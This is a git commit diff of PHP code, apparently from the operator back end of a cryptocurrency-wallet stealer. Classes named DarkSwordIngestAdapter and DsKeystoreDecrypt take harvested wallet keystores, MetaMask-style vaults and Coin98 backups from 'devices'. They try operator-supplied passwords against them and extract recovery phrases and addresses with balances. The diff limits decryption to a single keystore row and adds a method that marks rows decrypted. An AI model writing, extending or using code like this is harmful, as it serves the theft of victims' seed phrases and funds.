feat: decrypt

This commit is contained in:
hashbro
2026-10-13 04:03:55 +08:00
parent 7291a84951
commit fa9366703f
3 changed files with 62 additions and 24 deletions
+6 -3
View File
@@ -1007,8 +1007,9 @@ class DarkSwordIngestAdapter
public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array
{
$result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password);
$this->applyMnemonicHits($device, $result['hits']);
$this->applyMnemonicHits($device, $result['hits'], markSource: false);
if ($result['hits'] !== []) {
$this->keystoreDecrypt->markRowDecrypted($row);
[$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores'));
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
}
@@ -1024,7 +1025,7 @@ class DarkSwordIngestAdapter
/**
* @param list<array{source: string, tag: string, phrase: string, addresses?: list<array<string, mixed>>}> $hits
*/
private function applyMnemonicHits(Device $device, array $hits): void
private function applyMnemonicHits(Device $device, array $hits, bool $markSource = true): void
{
foreach ($hits as $hit) {
$tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd';
@@ -1032,7 +1033,9 @@ class DarkSwordIngestAdapter
'mnemonic' => $hit['phrase'],
'a' => $tag,
]);
$this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']);
if ($markSource) {
$this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']);
}
$mnemonic = WalletMnemonic::query()
->where('device_id', $device->id)
+15 -21
View File
@@ -82,34 +82,19 @@ final class DsKeystoreDecrypt
/**
* Try operator-supplied password against UTC / walletsV2 blobs and
* MetaMask-style password vaults on this row (and same-source rows).
* MetaMask-style password vaults on this row only.
*
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
*/
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
{
$device->loadMissing('keystores');
$source = trim((string) $row->source);
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
foreach ($device->keystores as $other) {
if ((int) $other->id === (int) $row->id) {
continue;
}
if (trim((string) $other->source) !== $source) {
continue;
}
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
}
$utcs = [];
$vaults = [];
$node = is_array($row->raw_json) ? $row->raw_json : [];
$utcs = $this->collectKeystores($node, $source !== '' ? $source : 'unknown');
$vaults = $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown');
$coin98Wallets = [];
foreach ($nodes as $node) {
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
foreach ($this->collectCoin98Backups($node) as $wallets) {
$coin98Wallets = array_merge($coin98Wallets, $wallets);
}
foreach ($this->collectCoin98Backups($node) as $wallets) {
$coin98Wallets = array_merge($coin98Wallets, $wallets);
}
$utcs = $this->uniqueKeystores($utcs);
$passwords = $this->expandUserPassword($password);
@@ -1066,6 +1051,15 @@ final class DsKeystoreDecrypt
}
}
public function markRowDecrypted(WalletKeystore $row): void
{
if ((int) $row->decrypted === 1) {
return;
}
$row->decrypted = 1;
$row->save();
}
public function markSourceDecrypted(int $deviceId, string $source): void
{
WalletKeystore::query()